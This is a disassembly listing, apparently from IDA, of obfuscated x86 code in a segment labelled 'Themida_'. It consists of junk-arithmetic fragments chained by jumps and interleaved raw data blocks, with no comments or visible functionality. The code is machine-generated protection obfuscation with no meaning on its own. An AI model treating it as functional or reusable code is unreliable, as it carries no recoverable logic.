		dd 0D38943B3h, 245C295Ah, 241C8B08h, 4C481h, 0B8500000h
		dd 71460AEAh, 8244429h,	245C2958h, 0EAB85004h, 5271460Ah
		dd 0A62FE9h, 2FBA5200h,	0E96B7132h, 920Ah, 240C3358h, 0EB5AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDC5:				; CODE XREF: Themida_:00570B25j
		mov	esi, 0D7DDFFF0h
		xor	edx, esi
		jmp	loc_565989
; ---------------------------------------------------------------------------


loc_55FDD1:				; CODE XREF: Themida_:0056018Bj
		mov	[esp], edx
		push	ebx
		mov	ebx, 0
		jmp	loc_55C472
; ---------------------------------------------------------------------------


loc_55FDDF:				; CODE XREF: Themida_:00570826j
		push	7B61h
		mov	[esp], edx
		jmp	loc_56F765
; ---------------------------------------------------------------------------
		dd 0CF88E188h, 0C7805859h, 0E18951FDh, 4C181h, 0BD550000h
		dd 4, 875DE929h, 895C240Ch, 0F9B1240Ch,	0E180D9F6h, 37E180C0h
		dd 0E951C180h, 0FFFFF55Ah, 592434FFh, 4C481h, 0C3800000h
		dd 0C0B60F8Ch, 87048F66h, 0FFC5E9E9h, 0EC8159FFh, 4, 0BB241C89h
		dd 4, 0CCE9D901h, 8B0000A9h, 0D8002424h, 8E93904h, 68FFFFDEh
		dd 3203h, 0E9243C89h, 7AF0h
; ---------------------------------------------------------------------------


loc_55FE68:				; CODE XREF: Themida_:0056C20Ej
		push	edx
		mov	edx, 77FA3392h
		jmp	loc_56F7E9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7DAD4C20h, 0E8703C05h, 5B1E2538h, 0E9406109h, 102C2h
		dd 55E28952h, 0FFE9D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE91:				; CODE XREF: Themida_:005679D7j
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 0DE6310E9h
		jmp	loc_567733
; ---------------------------------------------------------------------------


loc_55FEA4:				; CODE XREF: Themida_:005657E4j
		push	esi
		mov	esi, 0BFA2F1F4h
		sub	ebp, 2B986963h
		add	ebp, 221A632Dh
		add	ebp, esi
		sub	ebp, 221A632Dh
		add	ebp, 2B986963h
		pop	esi
		mov	ebx, ebp
		jmp	loc_570E42
; ---------------------------------------------------------------------------


loc_55FECC:				; CODE XREF: Themida_:0055F030j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	bp, 5AEDh
		dec	bp
		not	bp
		sub	esp, 2
		mov	[esp], dx
		mov	dx, 1
		add	bp, dx
		mov	dx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		jmp	loc_56A5A6
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0FFh
		dd 29EEFD07h, 0B9515EF3h, 7C8940DFh, 390F181h, 2CE90105h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF2B:				; CODE XREF: Themida_:00560061j
		sub	ecx, edx
		jmp	loc_5669F7
; ---------------------------------------------------------------------------


loc_55FF32:				; CODE XREF: Themida_:0056AD93j
		mov	esi, [esp]
		add	esp, 4
		pop	ebx
		add	eax, edi
		sub	eax, 49C01B7Ch
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56555D
; ---------------------------------------------------------------------------
		db 4
		dd 0E9E828D0h, 0FFFFEE30h
; ---------------------------------------------------------------------------


loc_55FF58:				; CODE XREF: Themida_:0055DD5Bj
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 5A5F356Bh
		mov	ecx, 0CA990F2Fh
		add	ecx, ebp
		pop	ebp
		push	ecx
		xchg	edx, [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_56E9E8
; ---------------------------------------------------------------------------


loc_55FF7E:				; CODE XREF: Themida_:00560BDDj
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	esp
		jmp	loc_55DD2B
; ---------------------------------------------------------------------------
		db 5Ch,	2Dh, 68h
		dd 570D3B2Ch, 0C781E789h, 4, 0A35AE9h, 2434FF00h, 4D39E9h
		dd 4C78300h, 5C243C87h,	8904EC83h, 74FF2404h, 8F580424h
		dd 248B2404h, 0E1F76624h, 1FBE68h, 243C8900h, 0EC835F54h
		dd 24048904h, 8FE7E9h, 5EEC000h, 5966E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FFDD:				; CODE XREF: Themida_:00562943j
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	ebp
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		sub	ebp, 1
		jmp	loc_564108
; ---------------------------------------------------------------------------
		dd 2F4F681h, 0BD551C06h, 315A72D3h, 0A566E9h
		db 0
; ---------------------------------------------------------------------------


loc_56000D:				; CODE XREF: Themida_:00565B58j
		sub	ebp, 29E61B7Ch
		jmp	loc_569621
; ---------------------------------------------------------------------------


loc_560018:				; CODE XREF: Themida_:00570B8Ej
		pop	edi
		push	21E3h
		mov	[esp], ecx
		push	7D07h
		mov	[esp], ebp
		push	5D74638Eh
		pop	ebp
		add	ebp, 0A28B9C76h
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_563BA7
; ---------------------------------------------------------------------------


loc_56003F:				; CODE XREF: Themida_:0056F82Cj
		sub	ecx, 4E7A690Bh
		neg	ecx
		push	edx
		push	ebx
		mov	ebx, 9001970h
		mov	edx, ebx
		pop	ebx
		not	edx
		shl	edx, 1
		and	edx, 68C7695Eh
		sub	edx, 3403CB44h
		jmp	loc_55FF2B
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4C781h, 3C870000h, 1757E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56007A:				; CODE XREF: Themida_:0055D44Bj
		mov	ebp, esi
		pop	esi
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_55F00B
; ---------------------------------------------------------------------------


loc_560099:				; CODE XREF: Themida_:0056D75Cj
		mov	[esp], eax
		jmp	loc_55D442
; ---------------------------------------------------------------------------


loc_5600A1:				; CODE XREF: Themida_:00560A8Bj
		xchg	eax, [esp]
		pop	esp
		add	edi, edx
		pop	edx
		mov	esi, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 72A06722h
		dec	esi
		and	esi, 38A22A9h
		and	esi, 3FBD631Bh
		inc	esi
		add	esi, 0FD7FDE02h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	ecx, esi
		pop	esi
		shr	ecx, 2
		push	ebx
		push	edx
		jmp	loc_56B0D2
; ---------------------------------------------------------------------------
		dw 16B1h
		dd 60E9CA28h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5600EF:				; CODE XREF: Themida_:0056AAAAj
		sub	ebx, 2F0E2EE7h
		mov	ecx, [esp]
		jmp	loc_55E153
; ---------------------------------------------------------------------------


loc_5600FD:				; CODE XREF: Themida_:005626B6j
		mov	edx, 0EE8EB31Dh
		add	ebp, 0E227527h
		add	ebp, edx
		push	edi
		jmp	loc_55FBE3
; ---------------------------------------------------------------------------
		dd 2B8h, 60EB8100h, 815E9129h, 0A00AD9C3h, 3AD4E959h, 0D3680000h
		dd 5A288F26h, 72CEA81h,	0D189F8CDh, 39DAE95Ah, 0E9530000h
		dd 0C3F7h, 15EF229h, 8FC281CAh,	0E9392350h, 0B6FBh, 240C8B66h
		dd 6BBA68h, 8BE1E900h, 0EA810000h, 413C765Eh, 4D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_560169:				; CODE XREF: Themida_:00568C46j
		pop	ebp
		sub	eax, 5364031Ah
		sub	eax, 2242749h
		add	eax, edi
		add	eax, 2242749h
		add	eax, 5364031Ah
		sub	eax, 48E87EE4h
		sub	esp, 4
		jmp	loc_55FDD1
; ---------------------------------------------------------------------------


loc_560190:				; CODE XREF: Themida_:005691EAj
		pop	esp
		push	ecx
		mov	ecx, 7A777DF9h
		sub	eax, ecx
		pop	ecx
		push	4FFDh
		mov	[esp], esi
		push	25CEh
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		jmp	loc_55C552
; ---------------------------------------------------------------------------


loc_5601B2:				; CODE XREF: Themida_:0055D165j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_568D77
; ---------------------------------------------------------------------------
		db 59h
		dd 2958C201h, 0E8895AD5h, 0FFCE47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5601C9:				; CODE XREF: Themida_:00569195j
		add	esp, 4
		add	ebp, 412772A1h
		mov	edx, [esp]
		jmp	loc_565FEE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E904EC83h, 0DEB5h, 0FE49EC80h, 4FEC80CCh, 0F480CCFEh
		dd 58E62892h, 0E9525366h, 7822h, 8704C483h, 895C2414h
		dd 2BB9240Ch, 6873A175h, 9C34DE03h, 7836685Bh, 0C890000h
		dd 0E7EFE924h, 3C8BFFFFh, 0FFD6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56022A:				; CODE XREF: Themida_:0056C9A4j
		add	edx, 4
		jmp	loc_55DBE9
; ---------------------------------------------------------------------------
		dw 489h
aSvx		db '$évX',0
		align 2
		dw 0E831h
		dd 6853555Dh, 359258DCh, 4ABA525Bh, 29D9EF72h, 5D535AD3h
		dd 56241C8Bh, 0F8E9E689h, 400008Dh, 4B8468D6h, 14890000h
		dd 2108E924h, 248B0000h, 0C8BF0F24h, 79F68h, 240C8900h
		dd 0FFC1A5E9h, 65E956FFh, 100000Ah, 0EF2BE9D1h,	0E983FFFFh
		dd 240C8704h, 243C895Ch, 0F6B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_560299:				; CODE XREF: Themida_:005695C1j
		add	esp, 4
		add	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 23EB5418h
		dec	ecx
		not	ecx
		xor	ecx, 423D705Eh
		inc	ecx
		jmp	loc_560C4C
; ---------------------------------------------------------------------------


loc_5602B7:				; CODE XREF: Themida_:0056E001j
		mov	esp, [esp]
		jmp	loc_56F78C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE8105E6h, 55741870h, 68h, 24342900h, 26C0E95Eh, 5BD0000h
		dd 56562A27h, 6036E952h, 478F0000h, 0C138E940h,	0E6C1FFFFh
		dd 81DEF704h, 0DE2FE6C6h, 1ECE8106h, 0C1390864h, 0EE8106EEh
		dd 0B03E39BEh, 0E95EF029h, 0D190h, 5A5F68h, 6D7E900h, 0FB40000h
		dd 0CEE9E520h, 8B000078h, 0C4832404h, 0BE95304h, 5300003Bh
		dd 4BBh, 245C0100h, 0F526E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56033A:				; CODE XREF: Themida_:0056462Bj
		pop	ebp
		and	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5622C9
; ---------------------------------------------------------------------------
		dd 0B0DDDBAh, 5AD72963h, 243C8758h, 8124248Bh, 4ECh, 4A03E900h
		dd 44290000h, 81580824h, 27042444h, 8B4DD700h, 0C481242Ch
		dd 4, 4C7815Fh,	81000000h, 2C7h, 13A3E900h, 0C2810000h
		dd 2, 8B241487h, 3B662424h, 83E99CC8h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56039F:				; CODE XREF: Themida_:0055E89Ej
		push	ebx
		mov	ebx, 4
		jmp	loc_565F57
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 4CEF8003h, 0FFF3BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5603B5:				; CODE XREF: Themida_:0056D410j
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 14A04249h
		jmp	loc_566648
; ---------------------------------------------------------------------------
		db 66h
		dd 6600B60Fh, 6609CD68h, 0E9240489h, 0FFFFC04Ah, 0F381D3F7h
		dd 0EC3FB952h, 242C8153h, 251F77E9h, 0E9C7815Fh, 5B251F77h
		dd 51BDE9h, 835D5400h, 48904ECh, 3ED9B824h, 9CE93FF1h
		dd 0FFFFFFE4h, 669D1C77h, 2414D359h, 0C00CE99Ch, 0C483FFFFh
		dd 1B346804h, 4890000h,	3676B824h, 4925347Bh, 0E953CC14h
		dd 7B3Eh, 24348B5Eh, 4C481h, 0BA520000h, 6F39783Bh, 0F27EE9h
		dd 2AC38100h, 811E58C7h, 792DBBC7h, 81DF016Ah, 792DBBEFh
		dd 0C7815B6Ah, 186B513Bh, 3C8BF801h, 4C48124h, 81000000h
		dd 4ECh, 24348900h, 0E1895155h,	5A69E9h, 0E92AB700h, 0FFFFDC7Ch
		dd 4244401h, 5396BF57h,	98E9710Ch, 68000091h, 5B58h, 81242489h
		dd 42404h, 48B0000h, 4C48124h, 0E9000000h, 0F3D3h
; ---------------------------------------------------------------------------


loc_5604B0:				; CODE XREF: Themida_:00562F0Fj
		add	ebp, 5837117h
		neg	ebp
		sub	ebp, 4AE56966h
		add	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		push	7038h
		jmp	loc_568554
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 2404215Ch, 80C1E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5604DE:				; CODE XREF: Themida_:00560FA7j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 1
		jmp	loc_55E67E
; ---------------------------------------------------------------------------
		dd 0F60EB353h, 4EBC0DBh, 0CBFED3F6h, 30EDF380h,	0E9525BDAh
		dd 0FFFFE638h
; ---------------------------------------------------------------------------


loc_560504:				; CODE XREF: Themida_:0055E080j
		neg	ecx
		sub	ecx, 7E243C54h
		jmp	loc_56D330
; ---------------------------------------------------------------------------
		db 68h,	0F0h, 6Fh
		dd 27E91C24h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56051B:				; CODE XREF: Themida_:0056A14Fj
		push	ecx
		jmp	loc_56B322
; ---------------------------------------------------------------------------
		db 0BAh, 2 dup(0)
		dd 0DA010000h, 0AA33281h, 5B5A014Dh, 8324148Bh,	2FE904C4h
		dd 5D00002Ch, 4246C81h,	7D8449F7h, 4245401h, 4244481h
		dd 7D8449F7h, 8AADE95Ah, 0EE810000h, 2CEA0EA0h,	0D6E9F189h
		dd 0B9FFFFD1h, 4, 4244C01h, 2434FF59h, 0C43E95Ah, 0F2010000h
		dd 0FFEA815Eh, 0E91DDF5Fh, 3862h
; ---------------------------------------------------------------------------


loc_560584:				; CODE XREF: Themida_:0056D976j
		add	edx, 368D448Fh
		add	edx, ecx
		jmp	loc_56B3A2
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 1
		dd 59000080h, 81E38953h, 4C3h, 4C38300h, 8B241C87h, 0C1812424h
		dd 4, 4E981h, 0C870000h, 153AE924h, 0C3310000h,	0E9008F66h
		dd 0FFFFBE5Ah, 9D1C77FFh, 1CD25966h, 4BE99C24h,	5FFFFFBEh
		dd 8702C683h, 248B2434h, 24042824h, 0BE38E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605EA:				; CODE XREF: Themida_:005624E7j
		push	27B40D2Bh
		mov	edi, [esp]
		jmp	loc_570817
; ---------------------------------------------------------------------------
		db 1
		dd 895150D1h, 4C181E1h,	83000000h, 0C8704E9h, 2C895C24h
		dd 8425E924h, 0E7890000h, 96D9E9h, 242C3300h, 33242C31h
		dd 665C242Ch, 662BA068h, 0E9240C89h, 28BAh, 81DF015Ah
		dd 0E44B93C7h, 71E95B7Ah, 2900008Eh, 5EC281CAh,	0E9413C76h
		dd 108E5h, 42474FFh, 5F2434FFh,	4C481h,	48F0000h, 24248B24h
		dd 0FFBDBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560665:				; CODE XREF: Themida_:0055CACAj
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_55CC1E
; ---------------------------------------------------------------------------
		db 0BBh, 0D0h, 40h
		dd 0CB8145E4h, 601182Bh, 0A0EEEB81h, 0DA0106E1h, 1042E9h
		dd 0C6C28100h, 10DE645h, 0C6EA81FAh, 530DE645h,	813397BBh
		dd 0DC72E973h, 0CD810000h, 6A1F2032h, 0A8EBB951h, 0CD2920E5h
		dd 5DE98959h, 5288E181h, 0E9C17AE9h, 2E9C103h, 0BFF0C181h
		dd 0C281FD3Eh, 458426DAh, 1AE9CA01h, 0E90000C8h, 0FFFFBD4Ah
; ---------------------------------------------------------------------------


loc_5606D8:				; CODE XREF: Themida_:0056333Fj
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56C9EC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048B66h, 0AE168h, 24148900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_57137A
; ---------------------------------------------------------------------------
		dd 50241489h, 0FFD542E9h, 2CCBAFFh, 0CA811DF2h,	2D557416h
		dd 25C28142h, 0E9C20889h, 8989h
; ---------------------------------------------------------------------------


loc_560718:				; CODE XREF: Themida_:0056125Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	cl, 8Fh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55DB66
; ---------------------------------------------------------------------------
		dd 0EA81C201h, 430A4AF4h, 4EC8358h, 83242C89h, 3C8904ECh
		dd 7C676824h, 815F7F75h, 2A5DF9CFh, 47E7D171h, 59D0E9h
		dd 0C8296600h, 588E2D66h, 1040BE9h, 8BF83100h, 60E9243Ch
		dd 800000B1h, 0D5F64FC5h, 0EDCEE9h, 34FF5B00h, 240C8B24h
		dd 4C481h, 0CDE90000h, 0B0000091h, 7E8C034h, 0D8F6C0FEh
		dd 0C7FE9h, 4B800h, 0C7810000h,	630B0DDDh, 0E952C701h
		dd 0FFFFFB9Ch, 24048B66h, 4EB068h, 24048900h, 0FFFCD6E9h
		dd 0E8015AFFh, 0FFEE8AE9h, 257BBFFFh, 0FB295ECBh, 81C3015Fh
		dd 0CB257BC3h, 2434FF5Eh, 5FFFE9h, 0E9C23000h, 0A7E1h
		dd 1BBh, 0DCE98100h, 11D4711h, 0DCC181D9h, 5B1D4711h, 0B2685750h
		dd 5F606C17h, 0A0B7C781h, 0F889234Ah, 0E9243C8Bh, 28CFh
; ---------------------------------------------------------------------------


loc_560810:				; CODE XREF: Themida_:0056A19Fj
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_570ED3
; ---------------------------------------------------------------------------


loc_56081B:				; CODE XREF: Themida_:0056DCEDj
		pop	eax
		add	esp, 4
		push	19Ah
		mov	[esp], eax
		jmp	loc_55C422
; ---------------------------------------------------------------------------
aM0Ssqj		db '¬0ØSéŸJ',0
		dd 3C316600h, 3C336624h, 3C316624h, 17686624h, 3C89660Fh
		dd 4DCE924h, 89520000h,	766857E2h, 8B2BEB0Fh, 8957243Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 0EF835C24h, 0B480E901h
		dd 0CF290000h, 243C8759h, 2404895Ch, 2434FF54h,	4EEBE9h
		dd 0E9F50000h, 3FBDh
; ---------------------------------------------------------------------------


loc_56088C:				; CODE XREF: Themida_:00567E18j
		inc	edx
		xchg	ebx, edx
		dec	ebx
		xchg	ebx, edx
		shl	edx, 6
		inc	edx
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_570C63
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0DDD1h, 0E9240C89h
		dd 60EBh
; ---------------------------------------------------------------------------


loc_5608BC:				; CODE XREF: Themida_:0056FC79j
		add	esp, 4
		jmp	loc_567F64
; ---------------------------------------------------------------------------


loc_5608C7:				; CODE XREF: Themida_:0056BCA1j
		sub	ebp, 7EC048C1h
		add	ebp, 2F0E3479h
		sub	ebp, edi
		push	eax
		mov	eax, 2F0E3479h
		sub	ebp, eax
		pop	eax
		add	ebp, 7EC048C1h
		pop	edi
		jmp	loc_55D884
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 2038BA52h, 0E9815513h, 484742BEh, 0FFF986E9h, 6C8F68FFh
		dd 24890000h, 24048124h, 4, 81240C8Bh, 4C4h, 4EC8300h
		dd 0E62EE9h, 2EB96600h,	0BF66571Ah, 50665186h, 2BD0B866h
		dd 0E9C70966h, 3B55h, 2BF57h, 0FB010000h, 241C875Fh, 727EE95Ch
		dd 50590000h, 0C2815859h, 47B3255Dh, 0BB53CA01h, 47B3255Dh
		dd 0F0A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56095D:				; CODE XREF: Themida_:0055D394j
		add	ebp, 31960D0Fh
		pop	eax
		xchg	ebp, [edi+24h]
		jmp	loc_565CA2
; ---------------------------------------------------------------------------
		dd 5620F381h, 26E93B00h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560977:				; CODE XREF: Themida_:0056C8FDj
		shl	ebp, 3
		sub	ebp, 13012F83h
		xor	ebp, 7AC4E4Ah
		xor	ebp, 1ADEE7A3h
		sub	ebx, ebp
		pop	ebp
		add	edx, 147C78E3h
		jmp	loc_5657E9
; ---------------------------------------------------------------------------


loc_56099A:				; CODE XREF: Themida_:0056CD1Cj
		push	esi
		jmp	loc_563C7F
; ---------------------------------------------------------------------------
		dd 0C4F3C681h, 0F08901BAh, 8BC6015Eh, 0C4812404h, 4, 504F68h
		dd 240C8900h, 5C0E6855h, 835D0C64h, 4FE901EDh, 83000029h
		dd 1C8704C3h, 912D5C24h, 2949DE5Ah, 0FBB951D8h,	81372101h
		dd 40321CE9h, 8E1C15Ah,	0CF13E9h, 24048900h, 3E87E9h, 71BD5500h
		dd 896E863Dh, 753AE9EFh, 0F6810000h, 736F61D7h,	52A5E9h
		dd 74FF5000h, 48B0424h,	4C48324h, 5C24048Fh, 0BD68E9F7h
		dd 89000029h, 0E589242Ch, 0FFDF46E9h, 2C1668FFh, 68E90000h
		dd 52FFFFF2h, 0FFD6AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560A3D:				; CODE XREF: Themida_:0056CBC3j
		xor	edx, ebx
		pop	ebx
		mov	edi, edx
		pop	edx
		jmp	loc_56320E
; ---------------------------------------------------------------------------


loc_560A48:				; CODE XREF: Themida_:005670B4j
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_560A54:				; CODE XREF: Themida_:00560F99j
		mov	[esp], ebx
		push	54FD5A7Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ebx, 6
		push	637Dh
		mov	[esp], edi
		mov	edi, 0FD050159h
		add	ebx, edi
		pop	edi
		mov	edx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5600A1
; ---------------------------------------------------------------------------
		dd 80DEB753h, 0C7800EE7h, 0E9FD88CFh, 0FFFFCC74h, 7378E581h
		dd 0DE680F33h, 8900000Ch, 0D8E92434h, 550000CEh, 42474FFh
		dd 24048F5Dh, 7E5E055Ch, 0D8010A51h, 517E5E2Dh,	8614E90Ah
		dd 0FE580000h, 8DEE80CEh, 148BF788h, 4C48324h, 3EF7E9h
		dd 4C48300h, 0FE93B252h, 51E2D0C2h, 0FFF5F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560AF1:				; CODE XREF: Themida_:0056A692j
		mov	edx, 4
		add	edi, 8A36B06h
		add	edi, edx
		push	edx
		mov	edx, 8A36B06h
		sub	edi, edx
		pop	edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 0D566BCAh
		push	ebx
		jmp	loc_55F1FA
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 2473E904h, 0C310000h, 240C3324h
		dd 0A82BE95Ch, 42D0000h, 87000000h, 248B2404h, 241C8924h
		dd 4EC81h, 4890000h, 68C4B424h,	0DB5h, 43E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_560B5D:				; CODE XREF: Themida_:0056D6E6j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_56CC33
; ---------------------------------------------------------------------------


loc_560B74:				; CODE XREF: Themida_:005704FCj
		push	edi
		sub	dword ptr [esp], 55493717h
		pop	eax
		add	eax, 55493717h
		pop	edi
		add	eax, edi
		jmp	loc_56DE9E
; ---------------------------------------------------------------------------


loc_560B8A:				; CODE XREF: Themida_:005648CAj
		pop	ecx
		add	esp, 4
		push	6D77h
		mov	[esp], edx
		xor	[esp], eax
		jmp	loc_567CA3
; ---------------------------------------------------------------------------
aLS		db '‹<$éÌ·',0
		align 2
		dw 1C8Bh
		dd 4C48324h, 0D59BE9h
		db 0
; ---------------------------------------------------------------------------


loc_560BB1:				; CODE XREF: Themida_:00565260j
		pop	edi
		jmp	loc_570078
; ---------------------------------------------------------------------------


loc_560BB7:				; CODE XREF: Themida_:005659EDj
		push	ax
		jmp	loc_56D5A4
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 2434FF3Ch, 0FF2434FFh, 81582434h, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55FF7E
; ---------------------------------------------------------------------------


loc_560BE2:				; CODE XREF: Themida_:00568EC7j
		mov	edi, [esp]
		jmp	loc_56DB18
; ---------------------------------------------------------------------------
		dw 575Ah
		dd 2BFh, 5FFD0100h, 2474FF55h, 0DAE95D04h, 0C1FFFFDFh
		dd 0F38107E3h, 0B23AFFC1h, 815BDF09h, 0DE0ABAEFh, 0A4F7E901h
		dd 0EC680000h, 89000065h, 0E954243Ch, 7F68h, 0E9E78957h
		dd 3491h
; ---------------------------------------------------------------------------


loc_560C2C:				; CODE XREF: Themida_:00562A42j
		add	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_56D185
; ---------------------------------------------------------------------------


loc_560C37:				; CODE XREF: Themida_:005623B9j
		add	edx, eax
		push	ecx
		push	8E6h
		mov	[esp], edi
		mov	edi, 2E7C467Ch
		jmp	loc_56E4AF
; ---------------------------------------------------------------------------


loc_560C4C:				; CODE XREF: Themida_:005602B2j
		xor	ecx, 27F72224h
		jmp	loc_56992B
; ---------------------------------------------------------------------------


loc_560C57:				; CODE XREF: Themida_:0056C526j
		sub	edx, 1BDF0554h
		push	ebx
		mov	ebx, 56475A5h
		neg	ebx
		sub	ebx, 35A231E7h
		or	ebx, 34043A4Ah
		inc	ebx
		jmp	loc_570224
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 61D0EE81h, 0EE8177D6h, 386815E7h,	4AE9EE01h, 0BB00002Bh
		dd 46692BD8h, 337BE56h,	0AC683A6Bh, 0E9000054h,	3997h
		dd 5BDF295Bh, 2474FF57h, 48F5F04h, 8F545C24h, 4812404h
		dd 424h, 0E4A6E900h, 1C8BFFFFh,	41D7E924h, 0FE280000h
		dd 8E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_560CD1:				; CODE XREF: Themida_:0056FD33j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_564FB8
; ---------------------------------------------------------------------------


loc_560CDB:				; CODE XREF: Themida_:0055E9B6j
		mov	edi, esp
		add	edi, 4
		jmp	loc_56FB4B
; ---------------------------------------------------------------------------
		dd 0AD7A63BEh, 43BD5560h, 8178AD23h, 21E46F5h, 81DDF73Eh
		dd 67150FC5h, 5DEE29A4h, 0E95EF731h, 5B7Eh, 0E951D6F7h
		dd 9722h
; ---------------------------------------------------------------------------


loc_560D14:				; CODE XREF: Themida_:0055C58Cj
		push	72B2h
		jmp	loc_566771
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 6B8C16E1h, 90E95Fh, 0BB680000h, 89000028h, 11E92434h
		dd 0Dh,	0E9532CF0h, 3C0Fh
; ---------------------------------------------------------------------------


loc_560D40:				; CODE XREF: Themida_:005643FBj
		sub	ecx, 4
		jmp	loc_56A196
; ---------------------------------------------------------------------------
		db 31h
		dd 0CA815BDAh, 6F5B1055h, 0F2814242h, 0B95190E4h, 1C8AE9h
		dd 0C7814F00h, 75ECD7FEh, 15FFE29h, 1C96E9F0h, 0C4830000h
		dd 6746E904h, 0E9310000h, 81242C8Bh, 4C4h, 59CE0100h, 0EE81D601h
		dd 7590F5Eh, 0FF2434FFh, 5E92434h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560D9B:				; CODE XREF: Themida_:0056B963j
		add	esp, 4
		add	edi, ecx
		jmp	loc_563BCE
; ---------------------------------------------------------------------------
		dd 0B252D9F6h, 83B5E9BFh, 0C2830000h, 0D49BE904h, 1487FFFFh
		dd 0E45BE924h, 0C500FFFFh, 97B45058h, 0C0F1F480h, 0EC8004E4h
		dd 0E5C48001h, 0E958E500h, 0FFFFDDB1h
; ---------------------------------------------------------------------------


loc_560DDC:				; CODE XREF: Themida_:00568A70j
		sub	dword ptr [esp], 10566A36h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56B469
; ---------------------------------------------------------------------------
		dd 0EB81D3F7h, 39F91B13h, 875BDA01h, 615C2414h,	1FE9C39Dh
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E03:				; CODE XREF: Themida_:0056A6CAj
		pop	ebp
		add	ecx, eax
		pop	eax
		jmp	loc_5677C0
; ---------------------------------------------------------------------------
